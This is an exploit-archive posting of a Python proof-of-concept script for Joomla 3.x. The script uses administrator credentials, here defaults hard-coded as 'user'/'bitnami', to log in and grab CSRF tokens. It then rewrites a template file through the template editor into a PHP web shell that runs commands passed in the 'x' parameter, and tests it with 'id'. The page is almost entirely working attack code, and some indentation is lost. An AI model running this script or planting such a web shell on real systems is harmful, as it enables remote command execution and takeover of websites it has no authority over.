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Joomla 3.x Proof Of Concept Shell Upload

Joomla 3.x Proof Of Concept Shell Upload
Posted May 28, 2017
Authored by Cody Sixteen

This proof of concept code shows how administrator functionality can be abused in Joomla to upload a shell.

tags | exploit, shell, proof of concept, file upload
MD5 | 5342f1f41088abee2af959b87cbce235

Joomla 3.x Proof Of Concept Shell Upload

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c@kali:~/src/napalm2.2/modules$ cat shell-joomla.py
#!/usr/bin/env python
# joomla_shellup.py - small script to upload shell in Joomla
#
# 02.05.2017, rewrited: 27.05
# -- hint --
# To exploit this "feature" you will need valid credentials.'
# Based on latest (3.6.5-1) version.'
# Tested also on: 3.7.x


import requests
import re

target = raw_input("[+] Hostname >> ")

print '[+] Checking: ' + str(target)

# initGET
session = requests.session()
initlink = target + '/administrator/index.php'

initsend = session.get(initlink)
initresp = initsend.text

find_token = re.compile('<input type="hidden" name="(.*?)" value="1"/>')
found_token = re.search(find_token, initresp)

if found_token:
initToken = found_token.group(1)
print '[+] Found init token: ' + initToken

print '[+] Preparing login request'
data_login = {
'username':'user',
'passwd':'bitnami',
'lang':'',
'option':'com_login',
'task':'login',
'return':'aW5kZXgucGhw',
initToken:'1'
}
data_link = initlink
doLogin = session.post(data_link, data=data_login)
loginResp = doLogin.text

print '[+] At this stage we should be logged-in as an admin :)'

uplink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
filename = 'jsstrings.php'
print '[+] File to change: ' + str(filename)

getnewtoken = session.get(uplink)
getresptoken = getnewtoken.text

newToken = re.compile('<input type="hidden" name="(.*?)" value="1"/>')
newFound = re.search(newToken, getresptoken)

if newFound:
newOneTok = newFound.group(1)
print '[+] Grabbing new token from logged-in user: ' + newOneTok

getjs = target+'/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA%3D'
getjsreq = session.get(getjs)
getjsresp = getjsreq.text

# print getjsresp
print '[+] Shellname: ' + filename
shlink = target + '/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='
shdata_up = {
'jform[source]':'<?php system($_GET["x"]);',
'task':'template.apply',
newOneTok:'1',
'jform[extension_id]':'503',
'jform[filename]':'/'+filename
}
shreq = session.post(shlink, data=shdata_up)
path2shell = '/templates/beez3/jsstrings.php?x=id'
print '[+] Shell is ready to use: ' + str(path2shell)
print '[+] Checking:'
shreq = session.get(target + path2shell)
shresp = shreq.text

print shresp

print '\n[+] Module finished.'


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